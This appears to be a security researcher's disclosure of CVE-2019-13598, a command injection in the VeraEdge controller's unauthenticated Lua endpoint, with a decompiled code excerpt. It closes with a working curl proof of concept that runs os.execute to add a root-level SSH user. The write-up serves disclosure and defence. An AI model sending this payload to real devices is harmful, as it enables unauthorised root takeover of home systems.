Note: This vulnerability has been assigned CVE-2019-13598.
A command injection vulnerability was discovered in the /port_3480/data_request endpoint. The VeraEdge has support for Lua scripting allowing developers to extend the functionality of the device. Lua scripts submitted in the Test Luup code (Lua) form in the web interface are handled by the /port_3480/data_request endpoint which forwards requests to a C++ program called LuaUPnP. LuaUPnP does not whitelist input allowing for the use of insecure API calls. Furthermore, the endpoint does not have any authentication or authorization requirements.
The following image is an extract of the /etc/lighthttpd.conf displaying the proxy rule which forwards requests to the /port_3480 endpoint to localhost:3480.
The following image displays output from the netstat command displaying the LuaUPnP process listening on all interfaces 0.0.0.0:3480.
The following image displays output from the ps aux command showing that LuaUPnP runs as root.
Exploiting LuaUPnP via command injection will likely grant the same root level privileges.
Requests are handled but he JobHandler_LuaUPnP::HandleActionRequest function. This function determines the type of request being made, if the action parameter is equal to RunLua it will call the JobHandler_LuaUPnP::RunLua function. JobHandler_LuaUPnP::RunLua does some setup and sanity checking before delegating the execution of Lua script to the JobHandler_LuaUPnP::RunCode function. One such sanity check that is performed, is to see if unsafe Lua scripting is allowed. This block of code appears to never be executed in my testing of different device security settings.
if (*(char *)(*(int *)(this + 0x244) + 0x20f) == '\0') { piVar2 = (int *)GetInstance(); (**(code **)(*piVar2 + 0x10))(piVar2,2,"JobHandler_LuaUPnP::RunLua unsafe disabled"); __dest = (char *)(*(int *)param_1 + 8); __nptr = "No unsafe lua allowed"; } else { // Additional checks before running Lua code…
The following cURL command demonstrates exploitation of this vulnerability by creating a new user giving the attacker access to login to the device via SSH which is enabled by default.
curl -i -s -k -X $'POST' \ -H $'Host: 192.168.86.30' -H $'Content-Length: 252' \ --data-binary $'id=lu_action&serviceId=urn:micasaverde-com:serviceId:HomeAutomationGateway1&action=RunLua&Code=os.execute(%22adduser%20-h%20%2Froot%20-s%20%2Fbin%2Fash%20testuser%22)%3B%0Aos.execute(%22echo%20-e%20%5C%22test%5Cntest%5C%22%20%7C%20passwd%20testuser%22)' \ $'http://192.168.86.30/port_3480/data_request'